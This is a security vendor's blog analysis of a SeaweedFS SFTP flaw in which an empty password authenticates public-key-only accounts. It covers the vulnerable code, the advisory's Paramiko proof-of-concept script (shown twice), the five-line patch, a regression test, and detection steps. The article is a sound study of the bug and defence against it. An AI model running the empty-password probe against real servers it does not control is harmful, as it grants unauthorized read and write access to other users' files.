Automated Threat Modeling

SeaweedFS SFTP Authentication Bypass (CVE-2026-133464): PoC and Patch Analysis

CVE-2026-133464 is an SFTP authentication bypass in SeaweedFS before 4.46 where an empty password matches any passwordless account. Includes PoC, patch, and detection details.

CVE Analysis

9 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-25

SeaweedFS SFTP Authentication Bypass (CVE-2026-133464): PoC and Patch Analysis

Introduction

A recently patched authentication bypass in the SeaweedFS SFTP server let a remote attacker log in as a public-key-only or certificate-only user by sending an empty password. For deployments that assumed provisioning a public key turned password login off, this undermined that assumption and handed over an SFTP session scoped to the targeted account's home directory and permissions.

SeaweedFS is an open source distributed storage system for object storage (S3), file systems, and table and vector buckets, released under the Apache License, Version 2.0. Its filer exposes several access interfaces including HTTP, S3, WebDAV, SFTP, FUSE, and table catalogs, and the project compares itself with systems such as HDFS and MinIO. The SFTP interface is optional but enabled in several common operating modes, which is where this issue lives.

Technical Information

The affected component is FileStore.ValidatePassword in weed/sftpd/user/filestore.go. Before the fix, the function looked up the user and compared the stored password against the supplied password using Go's subtle.ConstantTimeCompare. Constant-time comparison answers one question: are these two byte slices the same length with the same contents? It does not check whether a secret actually exists. Two empty slices satisfy that test, and the function returns 1.

The vulnerable function from the advisory:

func (s *FileStore) ValidatePassword(username string, password []byte) bool { user, err := s.GetUser(username) if err != nil { return false } return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1 }

This creates a dangerous gap between account configuration and server behavior. An account provisioned only for public-key or certificate authentication has no stored password (user.Password == ""). When such a client sends an empty password, the comparison is empty against empty, it matches, and authentication succeeds. Because password is included in the default -sftp.authMethods value (password,publickey), this code path runs on default deployments.

The documented result is not anonymous access to every SeaweedFS service. It is impersonation of an eligible existing SFTP account, bounded by that user's home directory and path permissions. The advisory notes that ValidatePublicKey was never affected, because an empty PublicKeys list makes it return false.

Exploitation prerequisites

The advisory identifies four prerequisites:

  • Network access to the SFTP listener (default port 2022).
  • Password authentication enabled (the default includes password).
  • An account configured without a password (the normal key-based-auth setup).
  • Knowledge of that account's username, often predictable from home directory, tenant, or service name.

Attack flow

  1. The attacker reaches the SFTP port 2022 of a vulnerable instance (version 4.45 or earlier).
  2. Using the normal password authentication path, the attacker submits an empty password for a known key-only or certificate-only username.
  3. FileStore.ValidatePassword compares the empty stored password against the empty supplied password with ConstantTimeCompare, which returns 1, and the login succeeds without a key, certificate, or secret.
  4. The attacker opens an SFTP session scoped to the impersonated user's permissions, able to list, read, write, delete, and rename where that user's permissions allow. An account with broad rights and homeDir: "/" can expose the whole filer namespace.

The issue is classified as CWE-287 (Improper Authentication) and CWE-1284 (Improper Validation of Specified Quantity in Input), with a CNA supplied CVSS 3.1 score of 9.1 (vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N). The sources do not establish a shell, host administrator access, or operating system code execution for this CVE.

Proof of Concept

A complete, working public proof of concept exists in the upstream GitHub Security Advisory (GHSA-q9rj-8p2j-whg4), authored by the SeaweedFS maintainer and credited to reporter Harsh Parmar (@kaii-k). The following reproduction comes from that advisory.

First, provision a user store (users.json) with one key-only user (no password) and one normal password user:

[ { "username": "keyonly", "publicKeys": ["ssh-ed25519 AAAA..."], "homeDir": "/sftp/keyonly", "uid": 1001, "gid": 1001, "permissions": { "/sftp/keyonly": ["read","write","list"] } }, { "username": "haspass", "password": "s3cret", "homeDir": "/sftp/haspass", "uid": 1002, "gid": 1002, "permissions": { "/sftp/haspass": ["read","write","list"] } } ]

Generate a host key and start the SFTP-enabled server:

ssh-keygen -t ed25519 -N '' -f hostkey && mkdir hk && mv hostkey hk/ weed server -dir=/tmp/sw-data -ip=127.0.0.1 -filer -sftp -sftp.port=2022 \ -sftp.hostKeysFolder=./hk -sftp.userStoreFile=./users.json

Run the Paramiko script that attempts password auth for each account:

import paramiko for user, pw in [("keyonly",""), ("keyonly","wrong"), ("haspass",""), ("haspass","s3cret")]: t = paramiko.Transport(("127.0.0.1", 2022)); t.connect(hostkey=None) try: t.auth_password(user, pw); ok = t.is_authenticated() except paramiko.ssh_exception.AuthenticationException: ok = False print(user, repr(pw), "->", "OK" if ok else "denied"); t.close()

The advisory reports the following output from a vulnerable server:

keyonly ''      -> OK        <-- bug: empty password authenticated a key-only user
keyonly 'wrong' -> denied
haspass ''      -> denied
haspass 's3cret'-> OK

The empty password authenticates the key-only account, while an incorrect password is rejected and the password account rejects an empty password. The advisory notes that, after authentication, an SFTPClient over the same transport can list /, write /proof.txt, and read it back, confirming full file access as keyonly. For a user with broad permissions or homeDir: "/", this yields read/write over the whole filer namespace.

Patch Information

The fix is commit 3cdfe648 (PR #11095, "sftp: reject an empty password"), written by Chris Lu and merged on 2 Sep 2026. It first shipped in SeaweedFS 4.46 (released 8 Sep 2026), where the release notes list it as sftp: reject an empty password ... #11095. NVD also gives 4.46 as the fixed version. The GitHub advisory GHSA-q9rj-8p2j-whg4 still shows Patched versions: None in its metadata, but the merged commit and the 4.46 changelog confirm the fix is in that release.

The patch adds a guard just before the constant-time comparison, so an empty value on either side always fails:

@@ -154,6 +154,11 @@ func (s *FileStore) ValidatePassword(username string, password []byte) bool { return false } + // An empty stored or supplied password is never a match: a public-key-only + // user has no password, and equal-length zero slices would otherwise compare equal. + if len(user.Password) == 0 || len(password) == 0 { + return false + } // Compare plaintext password using constant time comparison for security return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1 }

The guard covers both cases. An empty stored password means a key-only or cert-only account can never log in with a password, whatever the client sends, matching how the admin configured the account. An empty supplied password is always rejected even for accounts that do have a password, which is extra protection, since the old code would already have rejected it on length difference. Logins with real, non-empty passwords still go through ConstantTimeCompare exactly as before, so normal password login is unchanged. The change is five lines in a single function and does not touch the SSH auth wiring or the public-key path.

The commit also adds weed/sftpd/user/filestore_test.go with TestValidatePasswordRejectsEmpty, a table-driven test:

{"keyonly", "", false}, // public-key-only user must not accept an empty password {"keyonly", "wrong", false}, {"haspass", "", false}, // a real password is never matched by an empty one {"haspass", "s3cret", true}, {"haspass", "wrong", false}, {"missing", "", false},

According to the PR, this test fails on the old code and passes on the new code, so any change that reintroduces the empty-matches-empty behavior will be caught. The advisory also suggested two safeguards that are not in this commit: rejecting zero-length passwords earlier in PasswordAuthenticator.Authenticate, and logging a startup warning when a user has neither a password nor a key while password auth is on. The fix is applied at one point: the password-store check.

Detection Methods

No public YARA, Sigma, Snort, or Suricata signatures exist for CVE-2026-133464, and the reviewed sources publish no attacker IoCs. Because the bug is a deterministic logic flaw, you can find exposure through configuration review, an authorized active probe, and the vendor's regression test.

Configuration and inventory checks

The advisory lists every condition needed for exposure, so you can check each one across your estate:

  • Version: the advisory lists <= 4.45 of github.com/seaweedfs/seaweedfs as affected, and NVD says versions before 4.46 are affected. Check the weed binary version on every host and container image.
  • SFTP is running: look for processes started as weed sftp, weed server -sftp, or weed filer -sftp. The default SFTP port is 2022, so scan for listeners on that port.
  • Password auth is enabled: check the -sftp.authMethods flag. Its default is password,publickey, so if the flag is not set, password authentication is on. An instance is only safe from this path if the flag explicitly leaves out password.
  • Passwordless users exist: read the file passed to -sftp.userStoreFile and list every entry with no password field or an empty one. Note their homeDir and permissions; an account with homeDir: "/" or broad permissions gives read/write across the whole filer namespace, so treat those as the highest priority.

An instance is exposed when all of these are true: version 4.45 or earlier, SFTP enabled, password among the auth methods, and at least one user without a password.

Active probe (authorized testing only)

Reuse the advisory's Paramiko script, replacing the host, port, and usernames with key-only accounts from your own user store:

import paramiko for user, pw in [("keyonly",""), ("keyonly","wrong"), ("haspass",""), ("haspass","s3cret")]: t = paramiko.Transport(("127.0.0.1", 2022)); t.connect(hostkey=None) try: t.auth_password(user, pw); ok = t.is_authenticated() except paramiko.ssh_exception.AuthenticationException: ok = False print(user, repr(pw), "->", "OK" if ok else "denied"); t.close()

If any key-only account reports OK with '', the instance is vulnerable. The other pairs are controls that show wrong passwords are still rejected and accounts with a real password do not accept an empty one. On a fixed build, every empty-password attempt should be denied. This probe only checks that authentication succeeds and stops there; do not proceed further into the session.

Source and build check with the vendor's regression test

If you build SeaweedFS from source, fix commit 3cdfe648eb14e20fa5383b52076b38af94dbbc8c adds weed/sftpd/user/filestore_test.go containing TestValidatePasswordRejectsEmpty. Run this test against your tree. If it fails on keyonly with an empty password, the build still has the flaw. You can also read the source directly: a vulnerable ValidatePassword calls subtle.ConstantTimeCompare without first checking len(user.Password) == 0 || len(password) == 0.

Hunting for past abuse

The sources do not publish log formats for this issue, so the following reasons from how the bug works. The key behavioral sign is a successful password-method authentication for an account that only has key or certificate credentials. Those users never had a password, so any password-based login to them is suspicious by definition. Compare SFTP authentication records on port 2022 against your list of passwordless accounts and investigate any match, and look for one source trying several usernames with password auth.

Limitations

These methods detect exposure, not compromise. A clean probe today does not prove the instance was not abused before patching. Exploitation looks like a normal SFTP login followed by ordinary file operations, with no distinctive network payload, so the identity-versus-auth-method check is the most practical way to look back for abuse.

Affected Systems and Versions

  • Affected software: SeaweedFS, all versions before 4.46 (the advisory lists <= 4.45 as affected).
  • Fixed version: SeaweedFS 4.46.
  • Affected operating modes: standalone weed sftp, and SFTP enabled through weed server -sftp or weed filer -sftp.
  • Vulnerable configuration: password authentication enabled (the default -sftp.authMethods of password,publickey) together with at least one account configured without a password, such as public-key-only or certificate-only users.
  • Default SFTP port: 2022.

Vendor Security History

The SeaweedFS project has disclosed several distinct security boundaries, and comparing them is instructive. CVE-2026-77317 is an SFTP path permission bypass where a literal path prefix check lacks a path component boundary, allowing an authenticated user to access similarly prefixed sibling paths; versions 3.88 through 4.39 are affected and it is fixed in 4.40. Two advisories published on 9 Nov 2026 cover separate interfaces: an STS credential recovery issue where a session token exposes information used to derive a temporary secret, and a table and catalog API authentication issue where certain API wrappers continue after authentication failure.

The SFTP comparison is particularly useful. CVE-2026-77317 requires a user who already has valid credentials and concerns authorization across path boundaries, whereas CVE-2026-133464 defeats authentication for an account with no password. These are independent security properties: neither a successful login nor a narrow home directory should be treated as proof that the other boundary is sound.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization